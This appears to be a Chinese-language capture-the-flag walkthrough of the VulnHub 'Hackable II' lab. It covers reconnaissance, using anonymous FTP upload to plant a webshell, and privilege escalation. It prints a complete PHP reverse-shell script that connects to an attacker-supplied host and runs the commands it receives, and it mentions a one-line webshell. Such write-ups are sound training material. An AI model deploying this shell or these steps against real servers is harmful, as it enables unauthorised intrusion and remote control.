1.环境配置
在官网上下载镜像:http://www.vulnhub.com/entry/hackable-ii,711/
经过测试,发现如果放在vmware上面,是无法获得virtualbox上靶机的ip地址的,也就无法进行渗透测试了
于是重新安装kali到virtualbox上
kali镜像下载:https://www.kali.org/get-kali/#kali-virtual-machines
这里可以直接选择virtualbox的文件进行下载,就省去了安装等的一系列操作
导入之后,启动会出现usb问题,这里设置usb2.0为usb1.0即可解决
同时,登录密码等信息写在了后面的描述里,不用在网上去到处找了
这里导入靶机,需要修改网络为HOST-Only模式
至此,环境配置完成
2.信息搜集
这里不要以root身份运行nmap,就使用kali系统自带的用户运行nmap,否则会出现扫描之后该网段的ip全部为host is up
状态的情况
查看开放的端口有哪些
查看各端口详细信息
可以发现21端口允许Anonymous登录,80端口有web服务
这里有一个小问题,在获取文件的时候,会被告知是不合法的端口命令。原因是一开始进入的是PORT模式,使用命令转换为PASV模式就可以传输文件了。
关于两种模式的区别:https://www.cnblogs.com/boundless-sky/p/12009527.html
查看这个html文件,只有一条信息:GET READY TO RECEIVE A CALL
和一个titileonion
进入80端口,这里是apache的主页,查看源代码,提示我们使用扫描器 Do you like gobuster? dirb? etc...
访问/files,发现文件CALL.html,ftp中的文件在网站的files目录下,也就是说,这里可以通过ftp传马进去。
至此,信息搜集基本结束
3.开始渗透
再次使用ftp登录21端口
使用put nc.php命令,将反弹shell服务端扔到php服务器上
反弹shell脚本
<?php
set_time_limit(0);
$ip=$_POST['ip'];
$port=$_POST['port'];
$fp=@fsockopen($ip,$port,$errno,$errstr);
if(!$fp){ echo "error";}
else{
fputs($fp,"\n++++++++++connect success++++++++\n");
while (!feof($fp)) {
fputs($fp,"[php-shell]:");//输出
$shell=fgets($fp);
$message=`$shell`;
fputs($fp,$message);
}
fclose($fp);
}
?>
或使用kali自带的/usr/share/webshells/php/php-reverse-shell.php
使用反弹shell,可能会因为对方主机无法连接的情况失败。也可以上传一句话木马,使用蚁剑连接
使用虚拟终端功能,查看根目录,发现runme.sh文件,运行一下
解密这个md5,得到onion。猜测这是ssh的登录密码
4.提权
这里使用python进行提权,得到root身份运行的shell
至此,本实验完成